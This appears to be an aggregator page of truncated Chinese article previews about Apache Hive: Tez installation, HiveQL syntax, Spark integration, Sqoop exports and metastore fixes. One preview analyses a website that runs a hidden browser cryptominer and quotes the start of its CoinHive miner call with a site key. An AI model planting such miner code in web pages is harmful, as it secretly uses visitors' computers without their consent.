1. 下载 下载地址:https://dlcdn.apache.org/tez/,选择带-bin的,此处下载apache-tez-0.10.1-bin.tar.gz 2. 解压 hive在哪个节点上,就解压到哪个节点 tar -zxvf apache-tez-0.10.1-bin.tar.gz -C /opt/ # 重命名(可选) mv /opt/apache-tez-0.10.1-bin/ /opt/tez-0.10.1/ 3. 上传tez包
导读 前文 《一文读懂 SQL Server 执行计划》 中介绍过关系型数据库 SQL Server 的执行计划执行计划在数据开发过程中的重要性,以及如何阅读执行计划,根据执行计划分析 SQL 语句的执行效率问题并提出优化方案。Hive 是基于 Hadoop,实现了通过 SQL 操作 MapRedue 任务,简化了大数据编
6. 从ods(贴源层)到 dwd(数据明细层)的两种处理方式(spark) 6.1 使用spark dsl 方式处理 6.1.1 注意事项 # 开启hive元数据支持,开启之后在spark中可以直接读取hive中的表,但是开启之后就不能再本地云心的了 .enableHiveSupport() # 这下脚本都是作用在dwd层,所以必须在dwd的用户下执行,
今天我们通过 explain 来验证下 sql 的执行顺序。 在验证之前,先说结论,Hive 中 sql 语句的执行顺序如下: from .. where .. join .. on .. select .. group by .. select .. having .. distinct .. order by .. limit .. union/union all 可以看到 group by 是在两个 select 之间,我
MySQL表结构批量自动生成HIVE建表语句 需求描述 数仓建设过程中,在所难免的需要将大量业务数据导入值hive中,当业务比较复杂导致业务相关表过多时, 建表语句的整理和维护工作增大,手动写hive DDL容易出错且耗时,需要通过一些方法减少工作量。 该方式仅适用于MySQL,其他方法可以类似处理
insert overwrite table test_insert select * from test_table;insert into table test_insert select * from test_table; 注意:overwrite重写,into追加。 插入自定义数据: insert into table tablename1 values ('R3700','aaaa');
案例要求 java编写 package udtf; import org.apache.hadoop.hive.ql.exec.UDFArgumentException; import org.apache.hadoop.hive.ql.metadata.HiveException; import org.apache.hadoop.hive.ql.udf.generic.GenericUDTF; import org.apache.hadoop.hive.serde2.objectinspect
操作: create external table hive_data( id int, name string )row format delimited fields terminated by ',' stored as textfile location '/test/hivedata'; 报错信息: Error: Error while compiling statement: FAILED: SemanticException No valid
转自:https://aws.amazon.com/cn/big-data/what-is-hive/ https://www.jianshu.com/p/e9ec6e14fe52,https://blog.csdn.net/qq_26442553/article/details/80300714 1.简介 Facebook为了解决海量日志数据的分析而开发了Hive,Hive是一种用类SQL语句来协助读写、管理存储在分布式存储系
row format delimited fields terminated by 设置字段与字段之间的分隔符(字段与字段之间就是属性与属性之间,不是行与行之间,行的末尾) collection items terminated by 设置一个复杂类型(array,struct)字段的各个item之间的分隔符 map keys terminated by 设置一个复杂类型(Map)
COUNT(DISTINCT CASE WHEN ******* THEN cid END), COUNT(DISTINCT CASE WHEN ******* THEN cid END), 参考 : 统计符合条件的去重过的数量 - - count distinct if case - 伸展代码舒适区 - 博客园 (cnblogs.com)
[root@node1 conf]# mv hive-env.sh.template hive-env.sh [root@node1 conf]# vi hive-env.sh export HIVE_CONF_DIR=/opt/app/hive-2.3.8/conf export HADOOP_HOME=/opt/app/hadoop-2.8.5 第一次启动先初始化元数据到derby数据库中 [root@node1 hive-2.3.8]# schematool -dbTyp
背景: CDH集群的HDFS HA已配置完毕,Hive也相应进行了Update Hive Metastore NameNode,Hive的业务sql脚本都正常运行。 在使用spark-sql 写入hive时报错: Caused by: java.lang.IllegalArgumentException: Wrong FS: hdfs://nameservice1:8020/dw/ods/ods_node_data_i_temp/.
数据仓库 数据仓库和数据库的区别 数据仓库的系统结构 Hive概述和体系结构 Hive简介 Hive应用场景 Hive体系结构 华为Hive架构 Hive与传统数据仓库比较(1) Hive与传统数据仓库比较(2) Hive优点 Hive缺点 Hive数据存储模型 Hive分区和分桶 Hive基本操作 Hive数据基本操作(1) Hive数
背景 给业务洗数,误拉起一个sqoop抽数任务。反应时过来已经执行了drop并且执行成功 alter table XXX_TABLE drop if exits partition(ds='20220718'); 处理过程 HIVE如果打开了回收站功能,删除的表会临时存放在回收站里面。 明确了drop删除操作是会将数据临时挪到回收站了,去回收站查
1. su hdfs cd ~ 2. hive -e " set hive.cli.print.header=true; USE saas; SELECT CONCAT_WS(',', cast( nvl(order_id ,0) as string) ,cast( nvl(total_amount ,0.00)
问题背景 日常在处理一些字符串的时候,需要用到split函数,split的处理结果是array类型,然后在获取数组中对应的元素。 我们在获取最后一部分字符串的时候使用split(string str, string pat)[-1] 的时候会报错,不能使用[-1]获取对应位置的元素,我找到了下面两种方案。 使用size函数获
spark sql整合hive 在spark sql中使用hive的元数据 spark sql是使用spark进行计算的,hive使用MR进行计算的 1、在hive的hive-site.xml修改一行配置,增加了这一行配置之后,以后在使用hive之前都需要先启动元数据服务 cd /usr/local/soft/hive-1.2.1/conf/ <property> <name>hive.met
背景 由于需要查看原始数据,而原始数据实时产生,数据量较大,大约1万/分钟,写入MDB占用MDB的流量带宽,故考虑将原始数据写入Hive 逻辑 Spark Streaming作业中将消费的RDD整体处理为一个临时表,然后insert into到Hive表当日分区,即追加到当日分区 现状 写入少部分数据后就没有新数据
hive的表:bigdata.emp_dongtai oracle的表:EMP_FROM_H #!/bin/sh #使用shell脚本结合sqoop命令,进行一个Hive分区表格的数据导出到oracle的操作 for i in `hive -e"show partitions bigdata.emp_dongtai"` #查看表的分区数据 do echo $i sqoop export --connect jdbc:oracle:thi
1:PySpark类库和标准Spark框架的简单对比 2: 安装 将/spark/python/pyspark 复制到 python 的安装包中 或者 pip install pyspark (注意版本对应关系) 3:spark on hive 本质: 将hive的执行引擎替换为spark 的执行引擎! 配置: 校验hive的是否正常运行
现象:http://youssef-rabbaoui.de/ any run里的分析:https://app.any.run/tasks/223aa545-5ba5-48dc-8a24-c46fd4a59f9d/ 的确是看到dns请求了coin-hive.com 这个站点有网页挖矿,代码: var miner = new CoinHive.Anonymous('Bnt5BfEGPkhcJXWDSxQZNkZo346S1UCs', '$seite', {
1 Hive基本概念 Hive是一个构建在Hadoop上的数据仓库框架。最初,Hive是由Facebook开发,后来移交由Apache软件基金会开发,并作为一个Apache开源项目。 Hive是基于Hadoop的一个数据仓库工具,可以将结构化的数据文件映射为一张数据库表,并提供类SQL查询功能。 其本质是将SQL转换为MapRedu
原文链接:批流一体数据集成工具ChunJun同步Hive事务表原理详解及实战分享 课件获取:关注公众号__ “数栈研习社”,后台私信 “ChengYing”__ 获得直播课件 视频回放:点击这里 ChengYing 开源项目地址:github 丨 gitee 喜欢我们的项目给我们点个__ STAR!STAR!!STAR!!!(重要的事情说三遍)__ 技
1、登录到Hive元数据库中 我这里是mysql,执行以下语句: (1)修改表字段注解和表注解 我这里库名叫“hive”; use hive; alter table COLUMNS_V2 modify column COMMENT varchar(256) character set utf8;alter table TABLE_PARAMS modify column PARAM_VALUE varchar(4000) character se